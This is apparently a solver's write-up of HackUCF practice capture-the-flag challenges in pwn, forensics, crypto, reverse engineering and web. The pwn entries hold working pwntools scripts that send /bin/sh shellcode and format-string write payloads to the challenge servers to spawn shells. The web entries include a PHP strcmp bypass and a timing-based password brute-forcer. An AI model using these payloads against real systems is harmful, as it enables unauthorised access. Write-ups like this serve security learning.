HACKUCF CTF Writeups
PWN
bof1
5 points
netcat to the server and print out 100 characters, we get the flag!
Flag: flag{my_first_buffer_overflow!}
stack0 pt1
5 points
overflow the didPurchase value by print many characters to get the flag.
Flag: flag{babys_first_buffer_overflow}
heap0
10 points
shell and username’s addresses are leaked, their distance is 0x38, so we can change the value of shell if we input more than 0x38 character.
get shell by input ‘A’*0x38+’sh’
Flag: flag{heap_challenges_are_not_as_scary_as_most_people_think}
Log Me In!
15 points
connect to server, we get the variable user’s address.
use format string vulnerability to change the variable user’s address value, we get the flag.
Flag: flag{why_does_printf_even_have_%n}
bof2
20 points
overflow the correct value with 0xdeadbeef
Flag: flag{buffers_and_beef_make_for_a_yummie_pwn_steak}
bof3
25 points
overflow the fp pointer value with address of win function
Flag: flag{time_to_get_out_of_the_kiddie_pool}
ret
50 points
return, return, return
Flag: flag{no_you_suck!:P}
mem_test
75 points
return to win function with the parameter of hint to get shell
Flag: sorry I forgot the flag
super stack
100 points
the stack address is leaked for us, so we can input shellcode and return to it.
shellcode must not contain scanf’s bad char and the return address is a pointer to a pointer to shellcode.
from pwn import *
host, port = "ctf.hackucf.org",9005
shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x2c\xf5\xcd\x80'
p = remote(host, port)
#p = process('super_stack')
buff = int(p.recvuntil(b'\n').replace(b'\n',b'').split(b' ')[1],16)
print(hex(buff))
print(hex(buff+4))
payload = b''
payload += p32(buff+4)
payload += b'\x90'*(0x60-len(shellcode))
payload += shellcode
payload += p32(buff+4)
payload += p32(0x41414141)
print(payload)
p.sendline(payload)
p.interactive()
Flag: flag{not_a_bird_not_a_plane_just_a_stack}
stack0 pt2
100 points
shellcode and return
from pwn import *
host, port = "ctf.hackucf.org", 32101
shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x2c\xf5\xcd\x80'
p = remote(host, port)
#p = process('super_stack')
buff = int(p.recvuntil(b'\n').replace(b'\n',b'').split(b'= ')[1],16)
print(hex(buff))
payload = b''
payload += b'\x90'*0x10
payload += shellcode
payload += b'\x90'*(0x43-0x4-len(shellcode)-0x10)
payload += p32(buff)
print(payload)
p.sendline(payload)
p.interactive()
Flag: flag{what_is_this_flag_you_speak_of}
Restricted Shell
125 points
the program runs a restricted shell that allows you to use some commands like uname, id, …
reading the binary, we can see that there is a format string bug, so we can abuse this to change the id command to sh command, which will give us shell.
from pwn import *
host, port = "ctf.hackucf.org",7007
p = remote(host, port)
#id =>> sh
iAdd = 0x0804b369
dAdd = 0x0804b36a
payload = b''
payload +=p32(dAdd)
payload +=p32(iAdd)
payload += bytearray('%{}x%5$hhn'.format(ord('h')-8).encode('ascii'))
payload += bytearray('%{}x%6$hhn'.format(ord('s')-ord('h')).encode('ascii'))
print(payload)
p.sendline(b'prompt')
p.sendline(payload)
p.sendline(b'id')
p.interactive()
Flag: flag{not_such_a_restrictive_shell_after_all}
Forensics
Tay
10 points
strings the file, we get a base64 string, decode it to get flag
Flag: flag{n4z1_s3x-r0b07}
rabbit-hole
30 points
decompress the file multiple times to get flag
Flag: flag{c0mpr3ss10n_1s_fun}
Data Exfil
100 points
inspect pcap by Wireshark, we can see some inspicious DNS packets with some hex content.
extract them we can get a zipfile which contains the flag
Flag: sun{w0w_I_dns_s33_y0u_1n_h3r3}
My Secret Stash
100 points
this is a git repo, using some GoogleFu we can manage to see some deleted stash by using the command:
git fsck --unreachable | grep commit | cut -d ' ' -f3 | xargs git log --merges --no-walk
this command list lost stash then recover it.
Flag: sun{git_gud_k1d}
High Aptitude
150 points
use a program call SeaTTY which is used to inspect Fax sound
Flag: flag{email_is_way_easier}
Old Favorites
150 points
extract mp3 sound from the mp4 file, then use Sonic Visualizer to view spectrogram, we get the flag.
Flag: sun{you_know_the_rules}
Old Favorites 2
300 points
use vbindiff to inspect the different between 2 files, we see that some hex values have been changed. this seems like a LSB technique, so I get the hex diffs and decode it to get the flag
write a simple python code to bruteforce the flag:
from textwrap import wrap
#Extract the binary
with open('OF2.txt', 'rb') as fp:
hex_list=[]
lsb=''
tmp = fp.read(2)
while tmp:
hex_list.append(tmp)
fp.read(1)
tmp=fp.read(2)
print(hex_list)
for i in range (0,len(hex_list)):
if(int(hex_list[i],16)%2==0):
lsb+='0'
else:
lsb+='1'
print(lsb)
#decode it
for i in range(0, 8):
bin_list = wrap(lsb[i:],8)
decode_string=''
for bin in bin_list:
decode_string+= chr(int(bin,2))
print(decode_string)
Flag: sun{dont_3e_blind}
Crypto
xorly
10 points
c = m xor k => c xor m = m xor k xor m = k
hence we get the key is fish, we can decode the flag
Flag: flag{xor_is_the_new_aes}
Visionary
150 points
from the table given we can expect that the encrypt rule is plaintext + key = ciphertext
combining each character in the row and column gives us a corresponding character (just like the xor operand)
write a python code to help us get the key and decode the flag
def get_key(val,my_dict):
for key, value in my_dict.items():
if val == value:
return key
return "key doesn't exist"
def readFile(f):
tmp = f.read(1)
array=[]
while(tmp!='\n'):
array.append(tmp)
tmp = f.read(1)
return array
string = '! \" # $ % & \' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \\ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~'
list = string.split(" ")
n = len(list)
list_dict = {}
for i in range(0,len(list)):
list_dict[list[i]] = i
file1 = open("Cipher1.txt","r",encoding='utf-8')
file2 = open("Decipher(Cipher1).txt","r",encoding='utf-8')
file3 = open("cipherFlag.txt","r",encoding='utf-8')
c = readFile(file1)
d = readFile(file2)
ci = readFile(file3)
key = []
index = 0
for i in range(0,229):
index=list_dict[d[i]]-list_dict[c[i]]
if (index<0):
index+=94
key.append(get_key(index,list_dict))
print(key)
dec=""
for i in range (0,len(ci)):
index = list_dict[ci[i]]+list_dict[key[i]]
if (index>93):
index-=94
dec+=get_key(index,list_dict)
print(dec)
Flag: flag{xor_is_the_new_aes}
RE
Some of the first challenges are really easy, just basically read the binary to get flag, so I’ll skip it.
Source Protection
50 points
The hint tells that the program was written by Python, so after doing some researchs, I managed to decompile the executable file to pyc, by using open source tools like uncompyle2.
After you extract the pyc file, grep the file for flag.
Flag: sun{py1n574ll3r_15n7_50urc3_pr073c710n}
Order matters
50 points
open Ghidra and we can see that the password is the permutation of 15 different strings (which are base64 encoded).
we can bruteforce it or do it manually to get the flag.
Flag: sun{mY_IDA_bR1ngS_a11_Th3_B0ys_t0_tH3_y4rD}
Moody Numbers
100 points
decompile jar file back to java, we can easily read the source to bypass the 4 challenges.
Flag: flag{th1s_1s_why_c0mpu73rs_d0n7_h4v3_f33l1ng5}
WTF?
100 points
the ELF file is corrupted, so I changed some first bytes of an ELF file and read the binary with IDA to get the flag.
Flag: flag{headers_are_fun}
WEB
strcmp
20 points
$input = $_GET["passwd"];
$password = "CENSORED";
if (strcmp($input, $password) == 0) {
echo("$password");
}
if we give get request something like this passwd[]=0 then the $passwd becomes an array, then if strcmp compares this, instead of throwing an error, it returns NULL
since it’s php and NULL == 0 in php so we bypass the check and get the flag
Flag: flag{php_is_really_really_well_designed}
strcmp
20 points
$input = $_GET["passwd"];
$password = "CENSORED";
if (strcmp($input, $password) == 0) {
echo("$password");
}
if we give get request something like this passwd[]=0 then the $passwd becomes an array, then if strcmp compares this, instead of throwing an error, it returns NULL
since it’s php and NULL == 0 in php so we bypass the check and get the flag
Flag: flag{php_is_really_really_well_designed}
Superhacker part 1
25 points
$flag1 = "[REDACTED]";
$flag2 = "[REDACTED]";
if(array_key_exists("username",$_REQUEST)){
$link = mysqli_connect('localhost','challenge','[REDACTED]');
$uName = $_REQUEST['username'];
$pass = $_REQUEST['password'];
mysqli_select_db($link,'toPwn');
$statement = "SELECT * FROM users WHERE username = '$uName' AND password = '$pass'";
$res = mysqli_query($link,$statement);
if(array_key_exists("iamahacker",$_GET)){
echo "$flag1 ";
if(array_key_exists("debug",$_GET)){
echo "$statement ";
}
if(mysqli_num_rows($res) > 0){
echo "$flag2" ;
}
}else{
echo 'nope!';
}
mysqli_close($link);
flag1 is echoed if REQUEST has the field “username” and the field “iamahacker” in a GET REQUEST
send a GET REQUEST instead of POST with correct field to get the flag
Flag: flag{r3qu35t_f0r_f14g_gr4n73d}
calc
50 points
write a simple code to do the calculation for us
from requests_html import HTMLSession
from bs4 import BeautifulSoup
import operator
def parse(x):
operators = set('+-*/')
op_out = [] #This holds the operators that are found in the string (left to right)
num_out = [] #this holds the non-operators that are found in the string (left to right)
buff = []
for c in x: #examine 1 character at a time
if c in operators:
#found an operator. Everything we've accumulated in `buff` is
#a single "number". Join it together and put it in `num_out`.
num_out.append(''.join(buff))
buff = []
op_out.append(c)
else:
#not an operator. Just accumulate this character in buff.
buff.append(c)
num_out.append(''.join(buff))
return num_out,op_out
def my_eval(nums,ops):
nums = list(nums)
ops = list(ops)
operator_order = ('*/','+-') #precedence from left to right. operators at same index have same precendece.
#map operators to functions.
op_dict = {'*':operator.mul,
'/':operator.truediv,
'+':operator.add,
'-':operator.sub}
Value = None
for op in operator_order: #Loop over precedence levels
while any(o in ops for o in op): #Operator with this precedence level exists
idx,oo = next((i,o) for i,o in enumerate(ops) if o in op) #Next operator with this precedence
ops.pop(idx) #remove this operator from the operator list
values = map(float,nums[idx:idx+2]) #here I just assume float for everything
value = op_dict[oo](*values)
nums[idx:idx+2] = [value] #clear out those indices
return nums[0]
url = "http://ctf.hackucf.org:4000/calc/calc.php"
session = HTMLSession()
r = session.get(url)
#print(r.text)
strings = r.html.find('expression')
#print(strings[0].text)
cal = "".join(strings[0].text.split())
result=int(my_eval(*parse(cal)))
data= {'answer':result}
flag = session.post(url,data=data)
print(flag.text)
Flag: flag{you_should_have_solved_this_in_ruby}
bad code
75 points
playing around the web, I notice that everytime we input something, the server return response with the executed time, maybe we could use this.
since the time changes when we input the right characters, so I write a script to bruteforce this
from requests_html import HTMLSession
url = "http://ctf.hackucf.org:4000/bad_code/bad_code.php?passwd="
string = 'A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9'
list = string.split(' ')
print(list)
timing = 0.012
while(True):
for i in range(0,len(list)):
session = HTMLSession()
r = session.get(url+list[i])
time = r.html.find('time')
print(url+list[i])
print(time[0].text)
if(float(time[0].text) > timing):
print(list[i])
url+=list[i]
timing = float(time[0].text) + 0.01
break
Flag: flag{i_stole_this_challenge_idea_from_someone_else}
Scripting
Repetition 1
10 points
using pwntools to write a python code that repeats the numbers
the tricky thing here is the limited time, so I have to inspect the location of the server and ssh to another machine near that location to get the flag in time (maybe these challenges are not meant for foreigners ;_;)
SINCE I DON’T HAVE THE MACHINE ANYMORE SO THE OTHER CHALLENGES CAN’T BE SOLVED :(
Flag: flag{again_and_again_and_again_and_again
~ THE END ~